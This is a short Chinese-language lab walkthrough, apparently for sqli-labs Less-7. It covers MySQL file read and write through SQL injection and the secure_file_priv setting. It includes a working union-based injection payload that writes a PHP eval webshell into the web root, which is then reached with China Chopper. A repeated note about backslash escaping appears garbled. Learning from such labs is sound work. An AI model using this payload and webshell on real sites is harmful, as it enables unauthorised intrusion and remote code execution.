Mysql文件读写
涉及一个配置项secure_file_priv=
- 文件读取函数:
Load_file(‘文件路径’) - 写文件函数:
into outfile
into dumpfile - 两个函数区别:
因为into outfile函数会在行末端写入新行更致命的是会转义换行符,所以利用使用mysql写入dll或者二进制可执行文件,文件可能会被破坏。
into dumpfile就能导出一个完整能执行的二进制文件。*
条件:
1、设置secure_file_priv为Null
2、绝对路径
3、文件不存在
4、有权限
尝试注入点,直到?id=1’))–+
才出现不同的回显,提示使用outfile语句
1、secure_file_priv这个参数主要用来限制数据的导入导出效果(load data, into outfile等)。
如果这个参数值为NULL,那么mysql会禁止用户进行导入导出操作;
如果这个参数是一个具体的目录名,那么数据的导入导出只能在该目录下进行;
如果这个参数为空,那么导入导出的文件位置将不受限制。
打开MySQL目录,在my-ini文件中把secure_file_priv改为空。
2、datadir
这个参数是MySql存放数据文件的目录,也是导入导出操作的相对路径。
去第一关查询相对路径,
注入一句话木马可以了解:https://blog.csdn.net/weixin_39190897/article/details/86772765
接下来我们注入一句话木马到第七关的目录。
into outfile函数(写文件)
用法:select ‘写入内容’ into outfile ‘要保存的路径’?id=-1')) union select 1,2,"<?php @eval($_POST['cmd']); ?>"into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/text.php"--+
成功注入, - 这里需要使用\ 因为\会被当作转义字符。
也可以直接用/ **
注入成功后,这边我们用中国菜刀进行连接。
- 这里需要使用\ 因为\会被当作转义字符。